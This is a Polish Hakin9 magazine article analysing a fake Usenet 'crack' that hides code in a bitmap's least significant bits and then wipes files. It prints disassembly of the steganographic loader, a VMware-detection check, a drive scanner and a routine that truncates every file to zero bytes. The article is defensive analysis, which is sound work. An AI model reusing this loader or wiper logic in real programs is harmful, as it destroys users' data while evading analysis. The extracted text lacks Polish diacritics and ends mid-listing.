Post on 24-Sep-2015
description
Analiza dziaaniapodejrzanego programu
Bartosz Wjcik
Artyku opublikowany w numerze 6/2004 magazynu Hakin9Wszelkie prawa zastrzeone. Bezpatne kopiowanie i rozpowszechnianie artykuu dozwolone
pod warunkiem zachowania jego obecnej formy i treci.Magazyn Hakin9, Wydawnictwo Software, ul. Lewartowskiego 6, 00-190 Warszawa, hakin9@hakin9.org
www.hakin9.org2 Hakin9 Nr 6/2004
Obr
ona
www.hakin9.org 3Hakin9 Nr 6/2004
Analiza podejrzanego programu
Pod koniec wrzenia 2004 roku na licie dyskusyjnej pl.comp.programming po-jawi si post o temacie UNIWERSAL-NY CRACK DO MKS-VIRA!!!! Znajdowa si w nim odnonik do archiwum crack.zip z ma-ym plikiem wykonywalnym wewntrz. Z wy-powiedzi uytkownikw wynikao, e program ten nie by crackiem w dodatku najprawdo-podobniej zawiera podejrzany kod. Link do te-go samego pliku znalaz si rwnie w postach na przynajmniej piciu innych listach dyskusyj-nych (gdzie nie udawa ju cracka, ale na przy-kad amacz hase Gadu-Gadu). Ciekawo sprawia, e zdecydowalimy si na analiz po-dejrzanego pliku.
Taka analiza skada si z dwch etapw. Najpierw naley przyjrze si oglnej budowie pliku wykonywalnego i zwrci uwag na jego list zasobw (patrz Ramka Zasoby w progra-mach dla Windows) oraz ustali jzyk progra-mowania, w ktrym napisano program. Trze-ba take sprawdzi, czy plik wykonywalny zo-sta skompresowany (na przykad kompreso-rami FSG, UPX, Aspack). Dziki tym informa-cjom bdzie wiadomo, czy od razu przej do analizy kodu, czy te gdyby okazao si, e jest on skompresowany najpierw rozpakowa
Analiza dziaania podejrzanego programuBartosz Wjcik
Warto zastanowi si nad uruchomieniem pobranego z sieci przypadkowego pliku. Cho nie kady niesie ze sob zagroenie, atwo trafi na zoliwy program wykorzystujcy nasz naiwno. Moemy za ni sono zapaci. Zanim wic uruchomimy nieznany program, sprbujmy przeanalizowa jego dziaanie.
plik. Analiza kodu skompresowanych plikw nie ma bowiem sensu.
Drugim i najwaniejszym etapem bdzie analiza samego podejrzanego programu oraz, ewentualnie, wyuskanie z pozornie niewin-nych zasobw aplikacji ukrytego kodu. Pozwoli to dowiedzie si, jak dziaa program i jakie s skutki jego uruchomienia. Jak si przekonamy, taka analiza jest uzasadniona. Rzekomy crack z pewnoci nie naley do nieszkodliwych pro-gramw. Jeli wic Czytelnik natrafi kiedykol-wiek na rwnie podejrzany plik, gorco zach-camy do przeprowadzenia podobnej analizy.
Szybkie rozpoznanieW pobranym archiwum crack.zip znajdowa si jeden plik: patch.exe, ktry mia niecae 200
Z artykuu nauczysz si...
jak w systemie Windows przeprowadzi analiz nieznanego programu.
Powiniene wiedzie... powiniene zna przynajmniej podstawy pro-
gramowania w asemblerze i C++.
www.hakin9.org2 Hakin9 Nr 6/2004
Obr
ona
www.hakin9.org 3Hakin9 Nr 6/2004
Analiza podejrzanego programu
KB objtoci. Uwaga! Gorco zale-camy zmian rozszerzenia tego pli-ku przed rozpoczciem jego bada-nia, na przykad na patch.bin. Uchro-ni nas to przed przypadkowym uru-chomieniem nieznanego programu skutki takiego bdu mogyby by bardzo powane.
W pierwszym etapie analizy mu-simy pozna budow podejrzanego pliku. Do tego celu doskonale nada-je si identyfikator plikw wykonywal-nych PEiD. Wbudowana we baza danych umoliwia okrelenie jzyka uytego do stworzenia aplikacji oraz zidentyfikowanie najpopularniejszych typw kompresorw i protektorw pli-kw wykonywalnych. Mona te sko-rzysta z nieco starszego identyfika-tora plikw FileInfo, nie jest on jednak tak dynamicznie rozwijany jak PEiD i otrzymany wynik moe by mniej precyzyjny.
Jakie wic informacje uzyskali-my za pomoc PEiD? Strukturalnie patch.exe jest 32-bitowym plikiem wykonywalnym w charakterystycz-nym dla platformy Windows forma-cie Portable Executable (PE). Wida (patrz Rysunek 1), e program zo-sta napisany przy uyciu MS Visual C++ 6.0. Dziki PEiD wiemy take, i nie zosta on ani skompresowany,
Zasoby w programach dla WindowsZasoby w aplikacjach dla systemw Windows to dane definiujce dostp-ne dla uytkownika elementy progra-mu. Dziki nim interfejs uytkownika jest jednolity, za zastpienie jednego z elementw aplikacji bardzo atwe. Za-soby s oddzielone od kodu programu. O ile edycja samego pliku wykonywal-nego jest praktycznie niemoliwa, o ty-le modyfikacja zasobu (na przykad za-miana ta okna) nie nastrcza trudnoci wystarczy uy jednego z wielu do-stpnych w sieci narzdzi, na przykad opisywanego eXeScope.
Zasoby mog mie posta prawie kadego formatu danych. Zwykle s to pliki multimedialne (m. in. GIF, JPEG, AVI, WAVE), jednak mog by take osobnymi programami wykonywalny-mi, plikami tekstowymi czy dokumenta-mi HTML i RTF.
Rysunek 1. Identyfikator PEiD w akcji
Rysunek 2. Edytor zasobw eXeScope
Rysunek 3. Procedura WinMain() w deasemblerze IDA
www.hakin9.org4 Hakin9 Nr 6/2004
Obr
ona
ani zabezpieczony. Pozostae infor-macje, takie jak rodzaj podsystemu, offset pliku czy tak zwany punkt wej-ciowy (ang. entrypoint) s dla nas w tej chwili nieistotne.
Wiedza o strukturze podejrzane-go pliku to nie wszystko koniecz-ne jest poznanie zasobw aplikacji.
Wykorzystamy do tego celu program eXeScope, ktry umoliwia przegl-danie i edytowanie zasobw w pli-kach wykonywalnych (patrz Rysu-nek 2).
Przegldajc plik w edytorze za-sobw natrafimy jedynie na standar-dowe typy danych bitmap, jedno
okno dialogowe, ikon oraz manifest (okna aplikacji z tym zasobem wyko-rzystuj w systemach Windows XP nowe style graficzne, bez niego wy-wietlany jest standardowy, znany z systemw Windows 9x interfejs graficzny). Na pierwszy rzut oka wy-daje si wic, e plik patch.exe jest zupenie niewinn aplikacj. Pozory jednak mog myli. Aby zdoby pew-no, musimy przeprowadzi mud-n analiz zdeasemblowanego pro-gramu i jeli bdzie to konieczne odnale dodatkowy, ukryty we-wntrz pliku kod.
Analiza koduDo przeprowadzenia analizy kodu podejrzanej aplikacji wykorzystamy znakomity (komercyjny) deasembler IDA firmy DataRescue. IDA uchodzi obecnie za najlepsze tego typu na-rzdzie umoliwia szczegow analiz prawie wszystkich rodzajw plikw wykonywalnych. Wersja de-monstracyjna, dostpna na stronie internetowej producenta, umoliwia jedynie analiz plikw Portable Exe-cutable ale to nam w zupenoci wystarczy, poniewa patch.exe jest wanie w tym formacie.
Procedura WinMain()Po zaadowaniu pliku patch.exe do dekompilatora IDA (patrz Rysu-nek 3) znajdziemy si w procedurze WinMain(), ktra jest punktem wej-ciowym dla aplikacji napisanych w jzyku C++. W rzeczywistoci punktem wejciowym kadej aplikacji jest tak zwany entrypoint (ang. punkt wejcia), ktrego adres zapisany jest w nagwku pliku PE i od ktrego za-czyna si wykonywanie kodu aplika-cji. Jednak w przypadku programw C++ kod z prawdziwego punktu wej-ciowego odpowiedzialny jest jedynie za inicjalizacj wewntrznych zmien-nych programista nie ma na niego wpywu. Nas za interesuje jedynie to, co zostao napisane przez progra-mist. Procedura WinMain() widoczna jest na Listingu 1.
Taka posta kodu moe by trud-na do analizy aby uatwi jego zro-zumienie, przetumaczymy go na j-zyk C++. Z prawie kadego deadli-
Listing 1. Procedura WinMain()
.text:00401280 ; __stdcall WinMain(x,x,x,x)
.text:00401280 _WinMain@16 proc near ; CODE XREF: start+C9p
.text:00401280
.text:00401280 hInstance = dword ptr 4
.text:00401280
.text:00401280 mov eax, [esp+hInstance]
.text:00401284 push 0 ; dwInitParam
.text:00401286 push offset DialogFunc ; lpDialogFunc
.text:0040128B push 0 ; hWndParent
.text:0040128D push 65h ; lpTemplateName
.text:0040128F push eax ; hInstance
.text:00401290 mov dword_405554, eax
.text:00401295 call ds:DialogBoxParamA
.text:00401295 ; Create a model dialog box from a
.text:00401295 ; dialog box template resource
.text:0040129B mov eax, hHandle
.text:004012A0 push INFINITE ; dwMilliseconds
.text:004012A2 push eax ; hHandle
.text:004012A3 call ds:WaitForSingleObject
.text:004012A9 retn 10h
.text:004012A9 _WinMain@16 endp
Listing 2. Procedura WinMain() przetumaczona na jzyk C++
WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
LPSTR lpCmdLine, int nShowCmd)
{
// wywietl okno dialogowe
DialogBoxParam(hInstance, IDENTYFIKATOR_OKNA,
NULL, DialogFunc, 0);
// zakocz program, dopiero wtedy,
// gdy zwolniony zostanie uchwyt hHandle
return WaitForSingleObject(hHandle, INFINITE);
}
Listing 3. Fragment kodu odpowiedzialny za zapis do zmiennej
.text:004010F7 mov edx, offset lpInterfejs
.text:004010FC mov eax, lpWskaznikKodu
.text:00401101 jmp short loc_401104 ; tajemniczy "call"
.text:00401103 db 0B8h ; mieci, tzw. "junk"
.text:00401104 loc_401104: ; CODE XREF: .text:00401101j
.text:00401104 call eax ; tajemniczy "call"
.text:00401106 db 0 ; mieci
.text:00401107 db 0 ; jak wyej
.text:00401108 mov hHandle, eax ; ustawienie uchwytu
.text:0040110D pop edi
.text:0040110E mov eax, 1
.text:00401113 pop esi
.text:00401114 retn
www.hakin9.org 5Hakin9 Nr 6/2004
Analiza podejrzanego programu
stingu (zdeasemblowanego kodu) mona, z wikszymi lub mniejszymi trudnociami, zrekonstruowa kod w jzyku programowania, w ktrym oryginalnie zosta napisany. Narz-dzia takie jak IDA dostarczaj jedy-nie podstawowych informacji, takich jak konwencje wywoywania funk-cji (na przykad stdcall czy cdecl). Cho istniej specjalne pluginy dla IDA umoliwiajce prost dekompi-lacj kodu x86, to wynik ich dziaania pozostawia wiele do yczenia.
Aby dokona takiej translacji, na-ley przeanalizowa struktur funk-cji, wyodrbni zmienne lokalne i wreszcie odnale w kodzie odwo-ania do zmiennych globalnych. In-formacje dostarczane przez IDA wy-starcz do ustalenia, jakie parametry (i ile) przyjmuje analizowana funk-cja. Dodatkowo dziki deasemblero-wi dowiemy si, jakie wartoci zwra-ca dana funkcja, z jakich procedur WinApi korzysta oraz do jakich da-nych si odwouje. Naszym poczt-kowym zadaniem jest zdefiniowanie typu funkcji, konwencji jej wywoania i typw parametrw. Nastpnie, wy-korzystujc dane z IDA, definiujemy zmienne lokalne funkcji.
Gdy oglny zarys funkcji zosta-nie stworzony, mona wzi si za odtworzenie kodu. Pierwszym kro-kiem jest odbudowa wywoa innych funkcji (WinApi, ale nie tylko, bo tak-e odwoa do wewntrznych funkcji programu) na przykad dla funkcji WinApi analizujemy kolejno zapa-mitywane parametry, ktre zapi-sywane s na stosie instrukcj push w kolejnoci odwrotnej (od ostat-niego parametru do pierwszego), ni nastpuje ich zapis w wywoa-niu funkcji w oryginalnym kodzie. Po zgromadzeniu informacji o wszyst-kich parametrach mona odtwo-rzy oryginalne odwoanie do funk-cji. Najtrudniejszym elementem re-konstrukcji kodu programu (w jzyku wysokiego poziomu) jest odtworze-nie logiki dziaania umiejtne roz-poznanie operatorw logicznych (or, xor, not) i arytmetycznych (dodawa-nie, odejmowanie, mnoenie, dziele-nie) oraz instrukcji warunkowych, (if, else, switch) czy wreszcie ptli (for,
while, do). Dopiero wszystkie te in-formacje zebrane w cao pozwala-j przeoy kod asemblera na jzyk uyty do stworzenia aplikacji.
Wynika z tego, e translacja ko-du na jzyk wysokiego poziomu wy-maga ludzkiej pracy oraz dowiad-czenia w badaniu kodu i programo-waniu. Na szczcie przeoenie nie jest konieczne do naszej analizy, je-dynie j uatwia. Przetumaczon na C++ procedur WinMain() mona znale na Listingu 2.
Jak widzimy, w programie naj-pierw wywoywana jest procedu-ra DialogBoxParam(), wywietlaj-ca okno dialogowe. Jego identyfi-kator okrela okno zapisane w za-sobach pliku wykonywalnego. Na-stpnie wywoywana jest procedu-
ra WaitForSingleObject() i program koczy dziaanie. Z tego kodu mo-na wywnioskowa, e program wy-wietla okno dialogowe, nastpnie po jego zamkniciu (gdy ju nie b-dzie widoczne) czeka tak dugo, do-pki nie zostanie zwolniony uchwyt hHandle. Mwic najprociej: pro-gram nie zakoczy dziaania, dopki nie zakoczy si wykonywanie inne-go kodu, zainicjowanego wczeniej przez WinMain(). Najczciej w ten sposb czeka si na zakoczenie pracy kodu uruchomionego w od-dzielnym wtku (ang. thread).
C taki prosty program mo-e chcie zrobi tu po zamkniciu gwnego okna? Najprawdopodob-niej co zego. Trzeba wic znale w kodzie miejsce, w ktrym ustawia-
Rysunek 4. Okno referencji w programie IDA
Listing 4. Kod odpowiedzialny za zapis do zmiennej w edytorze Hiew
.00401101: EB01 jmps .000401104 ; skok w rodek instrukcji
.00401103: B8FFD00000 mov eax,00000D0FF ; ukryta instrukcja
.00401108: A3E4564000 mov [004056E4],eax ; ustawienie uchwytu
.0040110D: 5F pop edi
.0040110E: B801000000 mov eax,000000001
.00401113: 5E pop esi
.00401114: C3 retn
Listing 5. Zmienna lpWskaznikKodu
.text:00401074 push ecx
.text:00401075 push 0
.text:00401077 mov dwRozmiarBitmapy, ecx ; zapisz rozmiar bitmapy
.text:0040107D call ds:VirtualAlloc ; alokuj pami, adres zaalokowanego
.text:0040107D ; bloku znajdzie si w rejestrze eax
.text:00401083 mov ecx, dwRozmiarBitmapy
.text:00401089 mov edi, eax ; edi = adres zaalokowanej pamici
.text:0040108B mov edx, ecx
.text:0040108D xor eax, eax
.text:0040108F shr ecx, 2
.text:00401092 mov lpWskaznikKodu, edi ; zapisz adres zaalokowanej pamici
.text:00401092 ; do zmiennej lpWskaznikKodu
www.hakin9.org6 Hakin9 Nr 6/2004
Obr
ona
ny jest uchwyt hHandle skoro jest odczytywany, to wczeniej musi zo-sta gdzie zapisany. Aby to zrobi w deasemblerze IDA, naley klik-n nazw zmiennej hHandle. W ten sposb znajdziemy si w miejscu jej pooenia w sekcji danych (uchwyt
hHandle to po prostu 32-bitowa war-to typu DWORD):
.data:004056E4 ; HANDLE hHandle
.data:004056E4 hHandle
dd 0
; DATA XREF: .text:00401108w
.data:004056E4
; WinMain(x,x,x,x)+1Br
Po prawej stronie od nazwy zmien-nej znajduj si tak zwane referen-cje (patrz Rysunek 4) informa-cje o miejscach w kodzie, z ktrych zmienna jest odczytywana lub mo-dyfikowana.
Tajemnicze referencjePrzyjrzyjmy si referencjom uchwy-tu hHandle. Jednym z tych miejsc jest przedstawiona wczeniej procedura WinMain(), w ktrej zmienna jest od-czytywana (mwi nam o tym litera r, od angielskiego read). Bardziej god-na uwagi jest jednak druga referen-cja (na licie znajduje si jako pierw-sza), ktrej opis mwi, e zmienna hHandle jest w tym miejscu modyfiko-wana (litera w, od angielskiego wri-te). Teraz wystarczy w ni klikn, aby znale si we fragmencie kodu odpowiedzialnym za zapis do zmien-nej. Fragment ten przedstawiono na Listingu 3.
Krtkie wyjanienie do tego ko-du: najpierw do rejestru eax wczy-tywany jest wskanik do obsza-ru, w ktrym znajduje si kod (mov eax, lpWskaznikKodu). Nastpnie wykonywany jest skok do instrukcji wywoujcej procedur (jmp short loc _ 401104). Gdy procedura ta zo-stanie ju wywoana, w rejestrze eax znajdzie si warto uchwytu (zwy-kle wszystkie procedury zwraca-j wartoci i kody bdw wanie w tym rejestrze procesora), ktra na-stpnie zostanie zapisana do zmien-nej hHandle.
Kto, kto dobrze zna asembler, na pewno zauway, e ten fragment kodu wyglda podejrzanie (niestan-dardowo w porwnaniu do zwyke-go skompilowanego kodu C++). De-asembler IDA nie pozwala jednak na ukrywanie czy zamazywanie in-strukcji. Skorzystajmy wic z edyto-ra szesnastkowego Hiew, aby jesz-cze raz przeledzi ten sam kod (Li-sting 4).
Nie wida tu instrukcji call eax, gdy jej opcody (bajty instrukcji) zo-stay wstawione w rodek instruk-cji mov eax, 0xD0FF. Dopiero po za-
Listing 6. Fragment kodu odpowiedzialny za wydobycie danych z bitmapy
.text:004010BE kolejny_bajt: ; CODE XREF: .text:004010F4j
.text:004010BE mov edi, lpWskaznikKodu
.text:004010C4 xor ecx, ecx
.text:004010C6 jmp short loc_4010CE
.text:004010C8 kolejny_bit: ; CODE XREF: .text:004010E9j
.text:004010C8 mov edi, lpWskaznikKodu
.text:004010CE loc_4010CE: ; CODE XREF: .text:004010BCj
.text:004010CE ; .text:004010C6j
.text:004010CE mov edx, lpWskaznikBitmapy
.text:004010D4 mov bl, [edi+eax] ; "poskadany" bajt kodu
.text:004010D7 mov dl, [edx+esi] ; kolejny bajt skadowej kolorw RGB
.text:004010DA and dl, 1 ; maskuj najmniej znaczcy bit skadowej
kolorw
.text:004010DD shl dl, cl ; bit skadowej RGB
www.hakin9.org 7Hakin9 Nr 6/2004
Analiza podejrzanego programu
mazaniu pierwszego bajtu instrukcji mov zobaczymy, jaki kod zostanie na-prawd wykonany:
.00401101: EB01
jmps .000401104
; skok w rodek instrukcji
.00401103: 90
nop
; zamazany 1 bajt instrukcji "mov"
.00401104: FFD0
call eax
; ukryta instrukcja
Wrmy do kodu wywoywanego in-strukcj call eax. Naleaoby si do-wiedzie, dokd prowadzi adres za-pisany w rejestrze eax. Powyej in-strukcji call eax znajduje si instruk-cja, ktra do rejestru eax wpisuje war-to zmiennej lpWskaznikKodu (nazw zmiennej mona w IDA dowolnie zmie-ni, eby atwiej byo zrozumie kod wystarczy na ni najecha kurso-rem, wcisn klawisz N i wprowadzi now nazw). Aby dowiedzie si, co zostao zapisane do tej zmiennej, zno-wu posuymy si referencjami:
.data:004056E8
lpWskaznikKodu dd 0
; DATA XREF: .text:00401092w
.data:004056E8
; .text:004010A1r
.data:004056E8
; .text:004010BEr
.data:004056E8
; .text:004010C8r
.data:004056E8
; .text:004010FCr
Zmienna lpWskaznikKodu domylnie ustawiona jest na 0 i przyjmuje inn warto tylko w jednym miejscu ko-du. Klikajc na referencj zapisu do zmiennej, znajdziemy si w kodzie przedstawionym na Listingu 5. Jak wida, zmienna lpWskaznikKodu usta-wiana jest na adres pamici zaaloko-wanej funkcj VirtualAlloc().
Pozostaje nam sprawdzi, co kryje si w tym tajemniczym frag-mencie kodu.
Podejrzana bitmapaPrzegldajc wczeniejsze fragmen-ty deadlistingu mona zauway, e
Listing 8. Kod pobierajcy dane z bitmapy przetumaczony na jzyk C++
unsigned int i = 0, j = 0, k;
unsigned int dwRozmiarBitmapy;
// oblicz ile bajtw zajmuj wszystkie piksele w pliku bitmapy
dwRozmiarBitmapy = szerokosc_bitmapy * wysokosc_bitmapy * 3;
while (i < dwRozmiarBitmapy) {
// poskadaj 8 bitw skadowych barw RGB w 1 bajt kodu
for (k = 0; k < 8; k++) {
lpWskaznikKodu[j] |= (lpWskaznikBitmapy[i++] & 1)
www.hakin9.org8 Hakin9 Nr 6/2004
Obr
ona
z zasobw pliku patch.exe adowa-na jest jego jedyna bitmapa. Nastp-nie ze skadowych barw RGB kolej-nych pikseli skadane s bajty ukry-tego kodu, ktre nastpnie zapisy-wane s do wczeniej zaalokowa-nej pamici (ktrej adres zapisany jest w zmiennej lpWskaznikKodu). Klu-czowy fragment kodu, odpowiedzial-ny za wydobycie danych z bitmapy, przedstawiono na Listingu 6.
W kodzie na Listingu 6 mona wyrni dwie ptle. Jedna z nich (wewntrzna) odpowiada za po-bieranie kolejnych bajtw tworz-cych skadowe kolorw RGB (Red czerwony, Green zielony, Blue niebieski) pikseli bitmapy. Bitma-pa w naszym przypadku zapisa-na jest w formacie 24bpp (24 bity na piksel), wic kady piksel opi-sany jest trzema uoonymi jeden
za drugim bajtami koloru w forma-cie RGB.
Z kolejnych omiu pobranych baj-tw maskowane s najmniej znacz-ce bity (instrukcj and dl, 1), ktre poskadane w cao tworz jeden bajt kodu. Gdy ten bajt zostanie ju zoony, zostaje ostatecznie zapi-sany do bufora lpWskaznikKodu. Na-stpnie w ptli zewntrznej indeks dla wskanika lpWskaznikKodu jest inkrementowany tak, by wskazywa na miejsce, w ktrym bdzie mona umieci kolejny bajt kodu po czym wraca do pobierania kolejnych omiu bajtw skadowych kolorw.
Ptla zewntrzna wykonuje si tak dugo, a ze wszystkich pikseli bitmapy zostan wydobyte potrzeb-ne bajty ukrytego kodu. Liczba po-wtrze ptli jest rwna liczbie pik-seli bitmapy, pobieranej bezpored-nio z jej nagwka, a konkretnie z ta-kich danych jak szeroko i wyso-ko (w pikselach) wida to na Li-stingu 7.
Po wczytaniu bitmapy z zaso-bw pliku wykonywalnego w reje-strze eax znajdzie si adres poczt-ku bitmapy, ktry okrela jej nag-wek. Z nagwka pobierane s wy-miary bitmapy, nastpnie szero-ko mnoona jest przez wysoko bitmapy (w pikselach), co w wyni-ku da nam czn liczb pikseli bit-mapy. Jednak w zwizku z tym, e kady piksel opisany jest trzema bajtami, wynik mnoony jest do-datkowo tyle wanie razy. Otrzy-mujemy w ten sposb finalny roz-miar danych opisujcych wszyst-kie piksele. Aby uatwi zrozumie-nie, przeoony na C++ kod pobie-rajcy dane z bitmapy przedstawia-my na Listingu 8.
Nasze poszukiwania zakoczy-y si sukcesem wiemy ju, gdzie ukryty jest podejrzany kod. Taj-ne dane zostay zapisane na po-zycjach najmniej znaczcych bitw kolejnych skadowych RGB pikse-li. Dla ludzkiego oka zmodyfikowa-na w ten sposb bitmapa jest prak-tycznie nie do odrnienia od ory-ginalnej rnice s zbyt subtelne, w dodatku musielibymy posiada pierwotny obrazek.
Listing 11. Dodatkowy wtek wykonanie ukrytego kodu
kod_wykonywany_w_watku: ; DATA XREF: seg000:00000000r
push ebp
mov ebp, esp
push esi
push edi
push ebx
mov ebx, [ebp+8] ; offset interfejsu z
; adresami funkcji WinApi
; pod WindowsNT nie wykonuj instrukcji "in"
; spowodowaoby to zawieszenie si aplikacji
cmp [ebx+interfejs.bIsWindowsNT], 1
jz short nie_wykonuj
; wykrywanie wirtualnej maszyny Vmware, jeli wykryto,
; e program dziaa pod emulatorem, kod koczy dziaanie
mov ecx, 0Ah
mov eax, 'VMXh'
mov dx, 'VX'
in eax, dx
cmp ebx, 'VMXh' ; wykrywanie VMware
jz loc_1DB
nie_wykonuj: ; CODE XREF: seg000:00000023j
mov ebx, [ebp+8] ; offset interfejsu z adresami funkcji WinApi
call loc_54
aCreatefilea db 'CreateFileA',0
loc_54: ; CODE XREF: seg000:00000043p
push [ebx+interfejs.hKernel32]
call [ebx+interfejs.GetProcAddress] ; adresy procedur WinApi
mov [ebx+interfejs.CreateFileA], eax
call loc_6E
aSetendoffile db 'SetEndOfFile',0
loc_6E: ; CODE XREF: seg000:0000005Cp
push [ebx+interfejs.hKernel32]
call [ebx+interfejs.GetProcAddress] ; adresy procedur WinApi
mov [ebx+interfejs.SetEndOfFile], eax
...
call loc_161
aSetfileattribu db 'SetFileAttributesA',0
loc_161: ; CODE XREF: seg000:00000149 p
push [ebx+interfejs.hKernel32]
call [ebx+interfejs.GetProcAddress] ; adresy procedur WinApi
mov [ebx+interfejs.SetFileAttributesA], eax
lea edi, [ebx+interfejs.stFindData] ; WIN32_FIND_DATA
call skanuj_dyski ; skanowanie stacji dyskw
sub eax, eax
inc eax
pop ebx
pop edi
pop esi
leave
retn 4 ; tutaj koczy si dziaanie wtku
www.hakin9.org 9Hakin9 Nr 6/2004
Analiza podejrzanego programu
Kto, kto zada sobie tyle tru-du, by ukry may kawaek kodu, z pewnoci nie mia czystych inten-cji. Przed nami kolejne nieatwe za-danie ukryty kod trzeba wydoby z bitmapy, a nastpnie zbada jego zawarto.
Metoda wydobycia koduSamo wyizolowanie ukrytego ko-du nie jest skomplikowane mona po prostu uruchomi podejrzany plik patch.exe i, posugujc si debug-gerem (na przykad SoftIce czy Ol-lyDbg), zrzuci przetworzony ju kod z pamici. Lepiej jednak nie ryzyko-wa nie wiadomo, jakie skutki mo-e przynie przypadkowe urucho-mienie programu.
Podczas tej analizy wykorzysta-limy wasnorcznie napisany pro-sty program, ktry bez uruchamiania aplikacji wydobywa z bitmapy ukry-ty kod (plik decoder.exe autorstwa Bartosza Wjcika, wraz z kodem rdowym i zrzuconym ju ukry-tym kodem, znajduje si na Hakin9 Live). Jego dziaanie polega na za-adowaniu bitmapy z zasobw pliku patch.exe i wydobyciu z niej ukryte-go kodu. Program decoder.exe uy-wa opisanego wczeniej algorytmu, zastosowanego w oryginalnym pro-gramie patch.exe.
Ukryty kodCzas na analiz wydobytego ukry-tego kodu. Cao (bez komenta-rzy) zawiera si w niecaym kilobaj-cie, mona j znale na doczo-nym do pisma Hakin9 Live. Tutaj omwimy ogln zasad dziaania kodu oraz jego najbardziej interesu-jce fragmenty.
Aby badany kod mg funkcjo-nowa, musi mie dostp do funkcji systemu Windows (WinApi). W tym przypadku dostp do funkcji WinApi realizowany jest poprzez specjaln struktur interfejs (patrz Listing 9), ktrej adres przekazywany jest w re-jestrze edx do ukrytego kodu. Struk-tura ta jest zapisana w sekcji danych gwnego programu.
Przed uruchomieniem ukryte-go kodu najpierw adowane s bi-blioteki systemowe kernel32.dll
Listing 12. Procedura skanujca system w poszukiwaniu dyskw
skanuj_dyski proc near ; CODE XREF: seg000:0000016Cp
var_28 = byte ptr -28h
pusha
push '\:Y' ; skanowanie dyskw zaczyna si od dysku Y:\
nastepny_dysk: ; CODE XREF: skanuj_dyski+20j
push esp ; adres nazwy dysku na stosie (Y:\, X:\, W:\ itd.)
call [ebx+interfejs.GetDriveTypeA] ; GetDriveTypeA
sub eax, 3
cmp eax, 1
ja short cdrom_itp ; kolejna litera dysku twardego
mov edx, esp
call wymaz_pliki
cdrom_itp: ; CODE XREF: skanuj_dyski+10j
dec byte ptr [esp+0] ; kolejna litera dysku twardego
cmp byte ptr [esp+0], 'C' ; sprawdz, czy doszo do dysku C:\
jnb short nastepny_dysk ; powtarzaj skanowanie kolejnego dysku
pop ecx
popa
retn
skanuj_dyski endp
Listing 13. Procedura wyszukujca pliki na partycji
wymaz_pliki proc near ; CODE XREF: skanuj_dyski+14p, wymaz_pliki+28p
pusha
push edx
call [ebx+interfejs.SetCurrentDirectoryA]
push '*' ; maska szukanych plikw
mov eax, esp
push edi
push eax
call [ebx+interfejs.FindFirstFileA]
pop ecx
mov esi, eax
inc eax
jz short nie_ma_wiecej_plikow
znaleziono_plik:; CODE XREF: wymaz_pliki+39j
test byte ptr [edi], 16 ; czy to katalog?
jnz short znaleziono_katalog
call zeruj_rozmiar_pliku
jmp short szukaj_nastepnego_pliku
znaleziono_katalog: ; CODE XREF: wymaz_pliki+17j
lea edx, [edi+2Ch]
cmp byte ptr [edx], '.'
jz short szukaj_nastepnego_pliku
call wymaz_pliki ; rekursywne skanowanie katalogw
szukaj_nastepnego_pliku: ; CODE XREF: wymaz_pliki+1Ej, wymaz_pliki+26j
push 5
call [ebx+interfejs.Sleep]
push edi
push esi
call [ebx+interfejs.FindNextFileA]
test eax, eax
jnz short znaleziono_plik ; czy to katalog?
nie_ma_wiecej_plikow: ; CODE XREF: seg000:0000003Aj, wymaz_pliki+12j
push esi
call [ebx+interfejs.FindClose]
push '..' ; cd ..
push esp
call [ebx+interfejs.SetCurrentDirectoryA]
pop ecx
popa
retn
wymaz_pliki endp
www.hakin9.org10 Hakin9 Nr 6/2004
Obr
ona
i user32.dll. Ich uchwyty zostaj za-pisane do struktury interfejs. Na-stpnie w strukturze zapisywane s adresy funkcji GetProcAddress() i CreateThread() oraz znacznik okre-lajcy, czy program uruchomiony zosta pod systemem Windows NT/XP. Uchwyty systemowych bibliotek i dostp do funkcji GetProcAddress() w praktyce umoliwiaj pobranie ad-resu dowolnej procedury i kadej bi-blioteki, nie tylko systemowej.
Gwny wtekDziaanie ukrytego kodu rozpoczy-na si od uruchomienia przez pro-gram gwny dodatkowego wtku przy wykorzystaniu adresu proce-dury CreateThread(), wczeniej zapi-sanej w strukturze interfejs. Po wy-woaniu CreateThread(), w rejestrze
eax zwrcony zostaje uchwyt nowo utworzonego wtku (lub 0 w przy-padku bdu), ktry po powrocie do kodu gwnego programu zapisywa-ny jest w zmiennej hHandle (patrz Li-sting 10).
Spjrzmy na Listing 11, pokazu-jcy wtek odpowiedzialny za wy-konanie ukrytego kodu. Do proce-
dury uruchomionej w wtku przeka-zywany jest jeden parametr w tym wypadku adres struktury interfejs. Procedura ta natomiast spraw-dza, czy program zosta urucho-miony w rodowisku Windows NT. Dzieje si tak dlatego, e procedu-ra przebiegle prbuje wykry ewen-tualn obecno wirtualnej maszyny Vmware (jeli j wykryje, zakoczy dziaanie), wykorzystujc do tego ce-lu instrukcj asemblera in. Instrukcja ta moe suy do odczytywania da-nych z portw I/O w naszej sytuacji odpowiada za wewntrzn komuni-kacj z oprogramowaniem Vmware. Jej wykonanie w systemie z rodziny Windows NT, w przeciwiestwie do Windows 9x, powoduje zawieszenie programu.
Nastpnym krokiem jest pobra-nie dodatkowych funkcji WinApiwykorzystywanych przez ukry-ty kod i zapisanie ich do struktury interfejs. Natomiast gdy ju pobra-ne zostan wszystkie adresy proce-dur, zostaje uruchomiona procedu-ra skanuj _ dyski, sprawdzajca ko-lejne stacje dyskw (kocowa cz Listingu 11).
Poszlaka skaner dyskwWywoanie procedury skanuj _ dyski to pierwszy widoczny znak, e ce-lem ukrytego kodu jest destrukcja w jakim celu bowiem rzekomy crack miaby przeczesywa wszyst-kie napdy komputera? Skanowa-nie rozpoczyna si od stacji ozna-czonej liter Y:\ i zmierza w kie-runku pocztkowego, dla wikszo-ci uytkownikw najwaniejsze-go napdu C:\ . Do okrelenia typu stacji wykorzystywana jest funkcja GetDriveTypeA(), ktra po podaniu li-
Listing 14. Niszczycielska procedura zeruj_rozmiar_pliku
zeruj_rozmiar_pliku proc near ; CODE XREF: wymaz_pliki+19p
pusha
mov eax, [edi+20h] ; rozmiar pliku
test eax, eax ; jeli ma 0 bajtw, omi go
jz short pomin_plik
lea eax, [edi+2Ch] ; nazwa pliku
push 20h ; ' ' ; nowe atrybuty dla pliku
push eax ; nazwa pliku
call [ebx+interfejs.SetFileAttributesA] ; ustaw atrybuty pliku
lea eax, [edi+2Ch]
sub edx, edx
push edx
push 80h ; ''
push 3
push edx
push edx
push 40000000h
push eax
